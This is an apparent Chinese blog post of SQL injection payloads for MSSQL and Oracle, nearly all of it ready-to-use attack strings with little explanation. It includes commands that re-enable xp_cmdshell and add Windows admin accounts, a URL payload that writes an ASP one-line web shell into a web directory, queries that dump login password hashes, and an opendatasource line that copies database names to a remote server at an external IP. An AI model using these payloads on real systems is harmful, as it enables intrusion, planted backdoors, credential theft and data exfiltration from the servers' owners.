常用注入語(yǔ)句

//看看是什么權(quán)限的
and 1=(Select IS_MEMBER('db_owner'))
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--

//檢測(cè)是否有讀取某數(shù)據(jù)庫(kù)的權(quán)限
and 1= (Select HAS_DBACCESS('master'))
And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --

數(shù)字類型
and char(124)%2Buser%2Bchar(124)=0

字符類型
' and char(124)%2Buser%2Bchar(124)=0 and ''='

搜索類型
' and char(124)%2Buser%2Bchar(124)=0 and '%'='

爆用戶名
and user>0
' and user>0 and ''='

檢測(cè)是否為SA權(quán)限
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --

檢測(cè)是不是MSSQL數(shù)據(jù)庫(kù)
and exists (select * from sysobjects);--

檢測(cè)是否支持多行
;declare @d int;--

恢復(fù) xp_cmdshell
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')

免費(fèi)領(lǐng)取學(xué)習(xí)資料
2021年全套網(wǎng)絡(luò)安全資料包及最新面試題(滲透工具,環(huán)境搭建、HTML,PHP,MySQL基礎(chǔ)學(xué)習(xí),信息收集,SQL注入,XSS,CSRF,暴力破解等等)

//-----------------------
// 執(zhí)行命令
//-----------------------
首先開(kāi)啟沙盤(pán)模式:
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1

然后利用jet.oledb執(zhí)行系統(tǒng)命令
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')

執(zhí)行命令
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--

EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'

判斷xp_cmdshell擴(kuò)展存儲(chǔ)過(guò)程是否存在:
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')

寫(xiě)注冊(cè)表
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1

REG_SZ

讀注冊(cè)表
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'

讀取目錄內(nèi)容
exec master..xp_dirtree 'c:\winnt\system32',1,1數(shù)據(jù)庫(kù)備份
backup database pubs to disk = 'c:\123.bak'

//爆出長(zhǎng)度
And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--

更改sa口令方法:用sql綜合利用工具連接后,執(zhí)行命令:
exec sp_password NULL,'新密碼','sa'

添加和刪除一個(gè)SA權(quán)限的用戶test:
exec master.dbo.sp_addlogin test,ptlove
exec master.dbo.sp_addsrvrolemember test,sysadmin

刪除擴(kuò)展存儲(chǔ)過(guò)過(guò)程xp_cmdshell的語(yǔ)句:
exec sp_dropextendedproc 'xp_cmdshell'

添加擴(kuò)展存儲(chǔ)過(guò)過(guò)程
EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'
GRANT exec On xp_proxiedadata TO public停掉或激活某個(gè)服務(wù)。

exec master..xp_servicecontrol 'stop','schedule'
exec master..xp_servicecontrol 'start','schedule'

dbo.xp_subdirs

只列某個(gè)目錄下的子目錄。
xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'

dbo.xp_makecab

將目標(biāo)多個(gè)檔案壓縮到某個(gè)目標(biāo)檔案之內(nèi)。
所有要壓縮的檔案都可以接在參數(shù)列的最后方,以逗號(hào)隔開(kāi)。

dbo.xp_makecab
'c:\test.cab','mszip',1,
'C:\Inetpub\wwwroot\SQLInject\login.asp',
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'

xp_terminate_process

停掉某個(gè)執(zhí)行中的程序,但賦予的參數(shù)是 Process ID。
利用”工作管理員”,透過(guò)選單「檢視」-「選擇字段」勾選 pid,就可以看到每個(gè)執(zhí)行程序的 Process ID

xp_terminate_process 2484

xp_unpackcab

解開(kāi)壓縮檔。

xp_unpackcab 'c:\test.cab','c:\temp',1某機(jī),安裝了radmin,密碼被修改了,regedit.exe不知道被刪除了還是被改名了,net.exe不存在,沒(méi)有辦法使用regedit /e 導(dǎo)入注冊(cè)文件,但是mssql是sa權(quán)限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密碼為12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 則端口值改為1234

create database lcx;
Create TABLE ku(name nvarchar(256) null);
Create TABLE biao(id int NULL,name nvarchar(256) null);

//得到數(shù)據(jù)庫(kù)名
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases//在Master中創(chuàng)建表,看看權(quán)限怎樣
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--

用 sp_makewebtask直接在web目錄里寫(xiě)入一句話?cǎi)R:
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--

//更新表內(nèi)容
Update films SET kind = 'Dramatic' Where id = 123

//刪除內(nèi)容
delete from table_name where Stockid = 3

MSSQL

newmess.asp?id=70' ;

drop table pangolin_test_table;
create table pangolin_test_table([id] [int] identity (1,1) not null,[name] [nvarchar] (300) not null,[depth] [int] not null,[isfile] [nvarchar] (50) null);--

declare @z nvarchar(4000) set @z=0x65003a005c00 insert pangolin_test_table execute master..xp_dirtree @z,1,1--

and 1=2 union all select char(94)+char(94)+char(94)+cast(cast(count(1) as varchar(8000)) as nvarchar(4000))+char(94)+char(94)+char(94),null,null from pangolin_test_table--

and 1=2 union all select char(94)+char(94)+char(94)+cast(cast([isfile] as nvarchar(4000))+char(94)+cast([name] as nvarchar(4000)) as nvarchar(4000))+char(94)+char(94)+char(94),null,null from (select top 1 * from (select top 替換值 [name],[isfile] from pangolin_test_table group by [name],[isfile] order by [isfile]) t order by [isfile] desc,[name] desc) t----
替換值從1開(kāi)始,123456……

查version
newmess.asp?id=70' and 1=2 union all select char(94)+char(94)+char(94)+cast(@@version as nvarchar(4000))+char(94)+char(94)+char(94),null,null --
char(94)轉(zhuǎn)換后是^

查DB name
newmess.asp?id=70' and 1=2 union all select char(94)+char(94)+char(94)+cast(db_name() as nvarchar(4000))+char(94)+char(94)+char(94),null,null --

查Server name
newmess.asp?id=70' and 1=2 union all select char(94)+char(94)+char(94)+cast(@@servername as nvarchar(4000))+char(94)+char(94)+char(94),null,null --

查Host name
newmess.asp?id=70' and 1=2 union all select char(94)+char(94)+char(94)+cast(and host_name()=0-- as nvarchar(4000))+char(94)+char(94)+char(94),null,null --

查system user
newmess.asp?id=70' and 1=2 union all select char(94)+char(94)+char(94)+cast(system_user as nvarchar(4000))+char(94)+char(94)+char(94),null,null --

查current user
newmess.asp?id=70' and 1=2 union all select char(94)+char(94)+char(94)+cast(user as nvarchar(4000))+char(94)+char(94)+char(94),null,null --

查privilege
newmess.asp?id=70' and 1=2 union all select char(94)+char(94)+char(94)+cast(is_srvrolemember(0x730079007300610064006d0069006e00) as nvarchar(4000))+char(94)+char(94)+char(94),null,null --

查Databases
newmess.asp?id=70' and 1=2 union all select top 1 char(94)+char(94)+char(94)+cast(cast([name] as nvarchar(4000))+char(94)+cast([filename] as nvarchar(4000)) as nvarchar(4000))+char(94)+char(94)+char(94),null,null from (select top 1 dbid,name,filename from (select top 替換值 dbid,name,filename from [master].[dbo].[sysdatabases] order by 1) t order by 1 desc)t--
替換值從1開(kāi)始,123456……

查Drivers
newmess.asp?id=70' ;drop table pangolin_test_table;--

newmess.asp?id=70' ;create table pangolin_test_table(name nvarchar(255),low nvarchar(255),high nvarchar(255),type nvarchar(255));--

newmess.asp?id=70' ;insert pangolin_test_table exec master.dbo.xp_availablemedia;--

newmess.asp?id=70' and 1=2 union all select top 1 char(94)+char(94)+char(94)+cast(cast([name] as nvarchar(4000))+char(94)+cast([type] as nvarchar(4000)) as nvarchar(4000))+char(94)+char(94)+char(94),null,null from (select top 1 * from (select top 替換值 [name],[low],[high],[type] from pangolin_test_table group by [name],[low],[high],[type] order by [name]) t order by [name] desc)t--
替換值從1開(kāi)始,123456……

newmess.asp?id=70' ;drop table pangolin_test_table;--

查L(zhǎng)ocalgroupus
newmess.asp?id=70' ;drop table pangolin_test_table;--

newmess.asp?id=70' ;create table pangolin_test_table(name nvarchar(255),description nvarchar(4000));--

newmess.asp?id=70' ;insert pangolin_test_table exec master.dbo.xp_enumgroups;--

newmess.asp?id=70' and 1=2 union all select top 1 char(94)+char(94)+char(94)+cast(cast([name] as nvarchar(4000))+char(94)+cast([description] as nvarchar(4000)) as nvarchar(4000))+char(94)+char(94)+char(94),null,null from (select top 1 * from (select top 1 [name],[description] from pangolin_test_table group by [name],[description] order by [name]) t order by [name] desc)t--

newmess.asp?id=70' and 1=2 union all select top 1 char(94)+char(94)+char(94)+cast(cast([name] as nvarchar(4000))+char(94)+cast([description] as nvarchar(4000)) as nvarchar(4000))+char(94)+char(94)+char(94),null,null from (select top 1 * from (select top 替換值 [name],[description] from pangolin_test_table group by [name],[description] order by [name]) t order by [name] desc)t--
替換值從1開(kāi)始,123456……

newmess.asp?id=70' ;drop table pangolin_test_table;--查users
newmess.asp?id=70' and 1=2 union all select top 1 char(94)+char(94)+char(94)+cast(cast([name] as nvarchar(4000))+char(94)+isnull(master.dbo.fn_varbintohexstr([password]),char(32)) as nvarchar(4000))+char(94)+char(94)+char(94),null,null from (select top 1 * from (select top 1 [name],[password] from master..sysxlogins where xstatus!=192 order by [name]) t order by [name] desc)t--獲取表
newmess.asp?id=70' and 1=2 union all select char(94)+char(94)+char(94)+cast(cast(count(1) as varchar(10)) as nvarchar(4000))+char(94)+char(94)+char(94),null,null from [metc]..[sysobjects] where xtype=char(85) and status%3E0--
%3E是>號(hào)執(zhí)行命令
newmess.asp?id=70' ;create table [pangolin_test_table]([resulttxt] nvarchar(4000) null);--

newmess.asp?id=70' ;declare @z nvarchar(4000) set @z=0x640069007200200063003a005c00 insert into pangolin_test_table exec master.dbo.xp_cmdshell @z;alter table [pangolin_test_table] add id int not null identity (1,1)--

newmess.asp?id=70' and 1=2 union all select char(94)+char(94)+char(94)+cast(count(1) as nvarchar(4000))+char(94)+char(94)+char(94),null,null from [metc]..[pangolin_test_table]--

newmess.asp?id=70' ;drop table [pangolin_test_table];--

Oracle

盲注猜解

/new/new_content.jsp?dtxx_id=881 and (select ascii(substr(table_name,6,1)) from (select rownum r,table_name from (select rownum r,table_name from user_tables where rownum%3C=1 order by 1 desc) t where r%3E1-1 order by 1)t)>0 and 1=1 HTTP/1.1用union依次爆出所有的表

and 1=3 union select table_name from (select rownum r,table_name from (select rownum r,table_name from user_tables where rownum<=1 order by 1 desc) t where r>0 order by 1)t --

and 1=3 union select table_name from (select rownum r,table_name from (select rownum r,table_name from user_tables where rownum<=2 order by 1 desc) t where r>1 order by 1)t --

and 1=3 union select table_name from (select rownum r,table_name from (select rownum r,table_name from user_tables where rownum<=3 order by 1 desc) t where r>2 order by 1)t --

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書(shū)系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • 存儲(chǔ)過(guò)程為數(shù)據(jù)庫(kù)提供了強(qiáng)大的功能,其類似UDF,在MSSQL中xp_cmdshell可謂臭名昭著了。MSSQL強(qiáng)大...
    msnmessage閱讀 5,211評(píng)論 0 0
  • MsSQL數(shù)據(jù)庫(kù)高級(jí)查詢所帶來(lái)的注入威脅 MsSQL Serve數(shù)據(jù)庫(kù)在Web應(yīng)用程序開(kāi)發(fā)中也占了很大一部分比例,...
    Admin3K閱讀 2,100評(píng)論 2 2
  • 姓名:于川皓 學(xué)號(hào):16140210089 轉(zhuǎn)載自:https://baike.baidu.com/item/sq...
    道無(wú)涯_cc76閱讀 2,045評(píng)論 0 2
  • SQL注入的優(yōu)化和繞過(guò): 0x00 ~ 介紹 SQL注入毫無(wú)疑問(wèn)是最危險(xiǎn)的Web漏洞之一,因?yàn)槲覀儗⑺行畔⒍即鎯?chǔ)...
    CanMeng閱讀 1,201評(píng)論 0 1
  • 判斷是否有注入漏洞(1)在鏈接后面輸入 '(單引號(hào)) 看是否報(bào)sql漏洞(2)在鏈接后面分別輸入 and 1=1 ...
    心上魚(yú)_93fe閱讀 638評(píng)論 0 0

友情鏈接更多精彩內(nèi)容